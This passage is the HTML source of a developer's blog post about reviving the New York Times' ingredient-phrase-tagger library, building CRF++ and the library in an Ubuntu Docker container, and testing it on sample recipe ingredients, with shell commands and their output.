&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-1/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/cover_hu_33baf8f89c3fd1af.jpg 300w, https://mtlynch.io/resurrecting-1/cover_hu_bf9ab4804a532a0c.jpg 600w, https://mtlynch.io/resurrecting-1/cover_hu_f34208b7f36e67bd.jpg 800w, https://mtlynch.io/resurrecting-1/cover.jpg 1024w'
 src="https://mtlynch.io/resurrecting-1/cover.jpg" alt="Bear doctors resuscitating python" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="the-library">The library&lt;/h2>
&lt;p>The library was &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger">ingredient-phrase-tagger&lt;/a>, an open-source library that &lt;em>The New York Times&lt;/em> published. It allowed users to parse recipe ingredients into structured data.&lt;/p>
&lt;p>A few years ago, the &lt;em>Times&lt;/em> decided to digitize their extensive historical archive of cooking recipes. They hired data entry workers to look at raw ingredients from these recipes and tease apart the data they represented. The result was a database that looked like this:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>raw ingredient&lt;/th>
 &lt;th>quantity&lt;/th>
 &lt;th>unit&lt;/th>
 &lt;th>name&lt;/th>
 &lt;th>comment&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>3 tablespoons flour&lt;/td>
 &lt;td>3.0&lt;/td>
 &lt;td>tablespoon&lt;/td>
 &lt;td>flour&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>2 1/2 cups of finely chopped red onions&lt;/td>
 &lt;td>2.5&lt;/td>
 &lt;td>cup&lt;/td>
 &lt;td>red onions&lt;/td>
 &lt;td>finely chopped&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>2 dried pasilla chilies&lt;/td>
 &lt;td>2.0&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>pasilla chilies&lt;/td>
 &lt;td>dried&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After six years of adding to this database, they realized that they had enough data to &lt;a href="https://open.blogs.nytimes.com/2015/04/09/extracting-structured-data-from-recipes-using-conditional-random-fields/">train a machine learning model&lt;/a> that could simulate the human workers&amp;rsquo; data entry decisions. The project was a success, so they published all of their source code and data.&lt;/p>
&lt;h2 id="what-business-was-it-of-mine">What business was it of mine?&lt;/h2>
&lt;p>I had the same problem as the &lt;em>Times&lt;/em>. My project &lt;a href="https://recipe-search.isitketo.org/">KetoHub&lt;/a> aggregates recipes from around the web and makes them searchable by ingredient. Recipe websites typically don&amp;rsquo;t publish their ingredient lists in a structured format, I had to tease apart the structure myself.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/resurrecting-1/ketohub-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/ketohub-screenshot_hu_6fdf48d5b0a247aa.jpg 300w, https://mtlynch.io/resurrecting-1/ketohub-screenshot_hu_e6d3065d4db2df60.jpg 600w, https://mtlynch.io/resurrecting-1/ketohub-screenshot.jpg 793w'
 src="https://mtlynch.io/resurrecting-1/ketohub-screenshot.jpg" alt="Screenshot of KetoHub" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Results of a for a &lt;a href="https://recipe-search.isitketo.org/?q=avocado">KetoHub&lt;/a> search for recipes matching &amp;lsquo;avocado&amp;rsquo;&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 






&lt;figure class="img align-right" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/resurrecting-1/regex.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/regex_hu_a304d2d1f206ae37.png 300w, https://mtlynch.io/resurrecting-1/regex_hu_6a5eaf865284fa89.png 600w, https://mtlynch.io/resurrecting-1/regex.png 631w'
 src="https://mtlynch.io/resurrecting-1/regex.png" alt="Screenshot of regex implementation" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Excerpt from my disgusting regex parsing implementation&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At the time I stumbled upon ingredient-phrase-tagger, I was parsing ingredients in an ugly, hacky way: with &lt;a href="https://en.wikipedia.org/wiki/Regular_expression">regular expressions&lt;/a>.&lt;/p>
&lt;p>It wasn&amp;rsquo;t sustainable. Every time I added a new recipe site to KetoHub&amp;rsquo;s index, I had to modify my long sequence of regular expressions to handle new edge cases. Over time, the ingredient parsing code grew hellishly convoluted and began breaking in confusing ways.&lt;/p>
&lt;p>My regular expressions were tedious to maintain and debug. I felt like I was chopping away at ingredients with a chainsaw, blindfolded. The &lt;em>Times&amp;rsquo;&lt;/em> library looked like it dissected ingredients with clean, surgical precision. I desperately wanted it.&lt;/p>
&lt;p>But first, I had to figure out how to make their code run.&lt;/p>
&lt;h2 id="why-was-this-hard">Why was this hard?&lt;/h2>
&lt;p>The &lt;em>Times&lt;/em> built this library for a hack week event, so it lacked many features one expects of a professional software project, such as automated tests or thorough documentation. The README included instructions for installing the application, but they only worked on Mac OS X. Without tests or a continuous integration configuration, it was unclear how to make the code run at all.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 758px">



 &lt;a href="https://mtlynch.io/resurrecting-1/osx-install.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 758px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/osx-install_hu_a08cb25ac021e661.png 300w, https://mtlynch.io/resurrecting-1/osx-install_hu_c9f2dc7d96bd153c.png 600w, https://mtlynch.io/resurrecting-1/osx-install.png 756w'
 src="https://mtlynch.io/resurrecting-1/osx-install.png" alt="OS X install instructions" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger#development">Installation instructions&lt;/a> for ingredient-phrase-tagger library&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Of course, I wasn&amp;rsquo;t the only one to notice these issues. At the time they published, the &lt;em>Times&lt;/em> received tough criticism from famed Python developer D. John Trump:&lt;/p>













 

 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 630px">



 &lt;a href="https://mtlynch.io/resurrecting-1/trump-tweet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 630px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/trump-tweet_hu_8dda815cf7382216.png 300w, https://mtlynch.io/resurrecting-1/trump-tweet_hu_31a5dc0eae6eb588.png 600w, https://mtlynch.io/resurrecting-1/trump-tweet.png 628w'
 src="https://mtlynch.io/resurrecting-1/trump-tweet.png" alt="Trump tweet about code" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="building-it-in-docker">Building it in Docker&lt;/h2>
&lt;p>I wanted to build the library in a way that ensured consistent behavior regardless of the OS. This seemed like a job for Docker.&lt;/p>
&lt;p>Docker allows developers to build self-contained environments for an application that run anywhere. It only took a single command for me to spin up an Ubuntu base environment on which to build:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ docker run -it --rm ubuntu:16.04 /bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@164475279c95:/# cat /etc/*release | head -n &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISTRIB_ID&lt;/span>=Ubuntu
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISTRIB_RELEASE&lt;/span>=16.04
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The ingredient parsing library&amp;rsquo;s first dependency was its machine learning engine: a C++ application called &lt;a href="https://taku910.github.io/crfpp/">CRF++&lt;/a>.&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 428px">



 &lt;a href="https://mtlynch.io/resurrecting-1/crfpp-installation.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 428px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/crfpp-installation_hu_ae5ed0044cb74275.png 300w, https://mtlynch.io/resurrecting-1/crfpp-installation.png 426w'
 src="https://mtlynch.io/resurrecting-1/crfpp-installation.png" alt="CRF&amp;#43;&amp;#43; installation instructions" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>CRF++ &lt;a href="https://taku910.github.io/crfpp/#install">installation instructions&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The CRF++ build instructions looked simple enough, so I ran the commands within my Ubuntu container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ apt-get update &amp;amp;&amp;amp; apt-get install git build-essential -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git clone https://github.com/taku910/crfpp.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">cd&lt;/span> crfpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./configure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ make
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>g++ -DHAVE_CONFIG_H -I. -O3 -Wall -c -o crf_learn.o crf_learn.cpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crf_learn.cpp:9:21: fatal error: winmain.h: No such file or directory
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>compilation terminated.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Whoops, &lt;code>make&lt;/code> failed with an error about a missing Windows header file.&lt;/p>
&lt;p>Was that code still maintained?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-1/crfpp-commits.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/crfpp-commits_hu_22df5c58b3ed9f6c.png 300w, https://mtlynch.io/resurrecting-1/crfpp-commits_hu_dee0838c38b42fc3.png 600w, https://mtlynch.io/resurrecting-1/crfpp-commits_hu_ebd1e6ad1ac0cef5.png 800w, https://mtlynch.io/resurrecting-1/crfpp-commits.png 1004w'
 src="https://mtlynch.io/resurrecting-1/crfpp-commits.png" alt="CRF&amp;#43;&amp;#43; change history" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>CRF++ &lt;a href="https://github.com/taku910/crfpp/commits/master">change history&lt;/a>, showing the last commit in 2015&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Oh no! Another dead repository? I was already resurrecting one library. I didn&amp;rsquo;t want to take on another.&lt;/p>
&lt;h2 id="taking-a-small-detour">Taking a small detour&lt;/h2>
&lt;p>The CRF++ error message about &lt;code>winmain.h&lt;/code> was a bad sign, but if the &lt;em>Times&lt;/em> developers ran CRF++ on OS X, I knew it was possible to run it in a non-Windows environment.&lt;/p>
&lt;p>Maybe someone had already fixed it, but the maintainers never merged in the change. I checked the repo&amp;rsquo;s outstanding pull requests. &lt;a href="https://github.com/taku910/crfpp/pull/15">One, in particular&lt;/a>, seemed promising:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-1/winmain-pr.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/winmain-pr_hu_a49ade2316bac6f2.png 300w, https://mtlynch.io/resurrecting-1/winmain-pr_hu_b1ea4678a31fa0e3.png 600w, https://mtlynch.io/resurrecting-1/winmain-pr_hu_6b8173407b22e5e1.png 800w, https://mtlynch.io/resurrecting-1/winmain-pr.png 1011w'
 src="https://mtlynch.io/resurrecting-1/winmain-pr.png" alt="CRF&amp;#43;&amp;#43; pull requests" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/taku910/crfpp/pulls">Pending pull requests&lt;/a> into CRF++&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The pull request might as well have been titled, &amp;ldquo;Hey look, Michael! I solved the exact problem you&amp;rsquo;re struggling with,&amp;rdquo; so I applied &lt;a href="http://github.com/humem">@humem&lt;/a>&amp;rsquo;s patch:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ git remote add humem https://github.com/humem/crfpp.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git checkout -b patch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Switched to a new branch &lt;span style="color:#ed9d13">&amp;#39;patch&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git pull humem patch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>remote: Counting objects: 2, &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>remote: Total &lt;span style="color:#3677a9">2&lt;/span> (delta 1), reused &lt;span style="color:#3677a9">1&lt;/span> (delta 1), pack-reused &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Unpacking objects: 100% (2/2), &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>From https://github.com/humem/crfpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> * branch patch -&amp;gt; FETCH_HEAD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> * [new branch] patch -&amp;gt; humem/patch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Updating 1dc92a6..37ec31f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Fast-forward
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> winmain.h | &lt;span style="color:#3677a9">69&lt;/span> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">1&lt;/span> file changed, &lt;span style="color:#3677a9">69&lt;/span> insertions(+)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> create mode &lt;span style="color:#3677a9">100644&lt;/span> winmain.h
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;hellip;and then tried building again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ make
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make all-am
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make[1]: Entering directory &lt;span style="color:#ed9d13">&amp;#39;/crfpp&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>g++ -DHAVE_CONFIG_H -I. -O3 -Wall -c -o crf_learn.o crf_learn.cpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/bin/bash ./libtool --tag=CXX --mode=link g++ -O3 -Wall -o crf_learn crf_learn.o libcrfpp.la -lpthread -lpthread -lm -lm -lm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libtool: link: g++ -O3 -Wall -o .libs/crf_learn crf_learn.o ./.libs/libcrfpp.so -lpthread -lm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>g++ -DHAVE_CONFIG_H -I. -O3 -Wall -c -o crf_test.o crf_test.cpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/bin/bash ./libtool --tag=CXX --mode=link g++ -O3 -Wall -o crf_test crf_test.o libcrfpp.la -lpthread -lpthread -lm -lm -lm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libtool: link: g++ -O3 -Wall -o .libs/crf_test crf_test.o ./.libs/libcrfpp.so -lpthread -lm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make[1]: Leaving directory &lt;span style="color:#ed9d13">&amp;#39;/crfpp&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! &lt;code>make&lt;/code> succeeded.&lt;/p>
&lt;p>Now, all I had to do was &lt;code>make install&lt;/code> and run CRF++:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ make install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ crf_test --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crf_test: error &lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> loading shared libraries: libcrfpp.so.0: cannot open shared object file: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>No! The installation succeeded, but CRF++ immediately blew up with an error about a missing library.&lt;/p>
&lt;p>I Googled the error message and found &lt;a href="https://stackoverflow.com/a/39635827/90388">a StackOverflow answer&lt;/a> telling me to run the &lt;code>ldconfig&lt;/code> command. I tried it and&amp;hellip;&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ldconfig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ crf_test --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>CRF++ of 0.59
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Woohoo! It worked!&lt;/p>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="actually-building-it-in-docker">&lt;em>Actually&lt;/em> building it in Docker&lt;/h2>
&lt;p>Oh, wait. That wasn&amp;rsquo;t really what I was trying to do.&lt;/p>
&lt;p>My &lt;a href="https://seths.blog/2005/03/dont_shave_that/">yak shaving&lt;/a> adventure sidetracked me so much that I forgot my original goal: run ingredient-phrase-tagger within a Docker container.&lt;/p>
&lt;p>Nevertheless, I was hopeful that the worst was over. The only other installation step was to run the library&amp;rsquo;s &lt;a href="https://pypi.org/project/setuptools/">setuptools&lt;/a> installer, and I generally had good luck with setuptools:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ apt-get install python python-pip -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git clone https://github.com/NYTimes/ingredient-phrase-tagger.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">cd&lt;/span> ingredient-phrase-tagger
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ python setup.py install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Installed /usr/local/lib/python2.7/dist-packages/six-1.11.0-py2.7.egg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished processing dependencies &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> ingredient-phrase-tagger==0.0.0.dev0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Whew! No problems there. It looked like I had everything installed.&lt;/p>
&lt;h2 id="taking-it-out-for-a-spin">Taking it out for a spin&lt;/h2>
&lt;p>The repository&amp;rsquo;s &amp;ldquo;Quick Start&amp;rdquo; instructions referred to a shell script called &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger/blob/e414c2ca279f23c99c8338ceba00653d88d40dfe/roundtrip.sh">&lt;code>roundtrip.sh&lt;/code>&lt;/a> that exercised the library&amp;rsquo;s functionality end-to-end:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./roundtrip.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>visualizing...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./roundtrip.sh: 18: ./roundtrip.sh: ruby: not found
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hmm, so this Python library needs Ruby for some reason. Fine, let&amp;rsquo;s try that again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ apt-get install ruby -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./roundtrip.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It ran for about five minutes and spit out lots of output, finally ending with this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Sentence-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: 1487
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: 1999
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 74.3871935968
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Word-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: 10391
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: 11450
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 90.7510917031
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success!&lt;/p>
&lt;p>Oh, wait. What did it do?&lt;/p>
&lt;h2 id="testing-with-my-ingredients">Testing with my ingredients&lt;/h2>
&lt;p>The library was doing &lt;em>something&lt;/em>, but it didn&amp;rsquo;t give me insight into what was going on. The documentation mentioned two scripts for parsing arbitrary ingredients, &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger/blob/e414c2ca279f23c99c8338ceba00653d88d40dfe/bin/parse-ingredients.py">&lt;code>parse-ingredients.py&lt;/code>&lt;/a> and &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger/blob/e414c2ca279f23c99c8338ceba00653d88d40dfe/bin/convert-to-json.py">&lt;code>convert-to-json.py&lt;/code>&lt;/a>, so I tried those:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;1 pinch Garlic Powder&amp;#34;&lt;/span> &amp;gt;&amp;gt; input.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;1 Cup Mozzarella, shredded&amp;#34;&lt;/span> &amp;gt;&amp;gt; input.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;6 slices cooked bacon&amp;#34;&lt;/span> &amp;gt;&amp;gt; input.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ python bin/parse-ingredients.py input.txt &amp;gt; results.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ python bin/convert-to-json.py results.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;input&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1 pinch Garlic Powder&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;display&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;lt;span class=&amp;#39;qty&amp;#39;&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;unit&amp;#39;&amp;gt;pinch&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;name&amp;#39;&amp;gt;Garlic Powder&amp;lt;/span&amp;gt;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Garlic Powder&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;unit&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;pinch&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;qty&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;comment&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;shredded&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Cup Mozzarella&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;qty&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;other&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;,&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;input&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1 Cup Mozzarella, shredded&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;display&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;lt;span class=&amp;#39;qty&amp;#39;&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;name&amp;#39;&amp;gt;Cup Mozzarella&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;other&amp;#39;&amp;gt;,&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;comment&amp;#39;&amp;gt;shredded&amp;lt;/span&amp;gt;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
